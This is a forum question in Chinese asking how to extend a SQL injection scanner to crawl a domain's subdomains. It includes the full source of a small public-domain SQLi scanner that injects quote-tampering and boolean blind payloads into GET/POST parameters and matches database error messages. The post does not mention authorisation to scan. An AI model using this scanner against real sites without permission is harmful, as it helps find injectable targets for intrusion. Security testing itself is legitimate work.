我想要一个Python脚本，它可以搜索域以及子域的sql注入漏洞。我确实有用于搜索网页中任何漏洞的域脚本，但现在我需要检查域及其子域是否有任何 SQL 注入漏洞。
有人知道如何开始工作吗？我可以检测任何域上的 SQL 注入，但现在，我需要我的脚本开始搜索域的子域，然后搜索漏洞。
下面是我从 GitHub 存储库获得的代码。
#!/usr/bin/python3
import difflib, http.client, itertools, optparse, random, re, urllib, urllib.parse, urllib.request # Python 3 required
NAME, VERSION, AUTHOR, LICENSE = "Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code)", "0.3b", "Miroslav Stampar (@stamparm)", "Public domain (FREE)"
PREFIXES, SUFFIXES = (" ", ") ", "' ", "') "), (
"", "-- -", "#", "%%16") # prefix/suffix values used for building testing blind payloads
TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') # characters used for SQL tampering/poisoning of parameter values
BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)") # boolean tests used for building testing blind payloads
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names
GET, POST = "GET", "POST" # enumerator-like values used for marking current phase
TEXT, HTTPCODE, TITLE, HTML = range(4) # enumerator-like values used for marking content type
FUZZY_THRESHOLD = 0.95 # ratio value in range (0,1) used for distinguishing True from False responses
TIMEOUT = 30 # connection timeout in seconds
RANDINT = random.randint(1, 255) # random integer value used across all tests
BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)" # regular expression used for recognition of generic firewall blocking messages
DBMS_ERRORS = { # regular expressions used for DBMS recognition based on error message response
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (
r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*",
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",
r"(?s)Exception.*\WRoadhouse\.Cms\."),
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
"Oracle": (
r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*",
r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
def _retrieve_content(url, data=None):
retval = {HTTPCODE: http.client.OK}
try:
req = urllib.request.Request(
"".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))),
data.encode("utf8", "ignore") if data else None, globals().get("_headers", {}))
retval[HTML] = urllib.request.urlopen(req, timeout=TIMEOUT).read()
except Exception as ex:
retval[HTTPCODE] = getattr(ex, "code", None)
retval[HTML] = ex.read() if hasattr(ex, "read") else str(ex.args[-1])
retval[HTML] = (retval[HTML].decode("utf8", "ignore") if hasattr(retval[HTML], "decode") else "") or ""
retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
return retval
def scan_page(url, data=None):
retval, usable = False, False
url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>",
data) if data else data
try:
for phase in (GET, POST):
original, current = None, url if phase is GET else (data or "")
for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):
vulnerable, usable = False, True
print("* scanning %s parameter '%s'" % (phase, match.group("parameter")))
original = original or (
_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.parse.quote(
"".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML],
re.I):
print(" (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (
phase, match.group("parameter"), dbms))
retval = vulnerable = True
vulnerable = False
for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES,
(False, True)):
if not vulnerable:
template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/",
"/**/")
payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0),
urllib.parse.quote(template % (
RANDINT if _ else RANDINT + 1,
RANDINT), safe='%')))) for _ in
(True, False))
contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(
url, payloads[_])) for _ in (False, True))
if all(_[HTTPCODE] and _[HTTPCODE] < http.client.INTERNAL_SERVER_ERROR for _ in
(original, contents[True], contents[False])):
if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
vulnerable = True
else:
ratios = dict(
(_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio())
for _ in (False, True))
vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(
ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
if vulnerable:
print(" (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (
phase, match.group("parameter"), payloads[True]))
retval = True
if not usable:
print(" (x) no usable GET/POST parameters found")
except KeyboardInterrupt:
print("\r (x) Ctrl-C pressed")
return retval
def init_options(proxy=None, cookie=None, ua=None, referer=None):
globals()["_headers"] = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
urllib.request.install_opener(
urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy})) if proxy else None)
if __name__ == "__main__":
print("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
options, _ = parser.parse_args()
if options.url:
init_options(options.proxy, options.cookie, options.ua, options.referer)
result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
print("\nscan results: %s vulnerabilities found" % ("possible" if result else "no"))
else:
parser.print_help()
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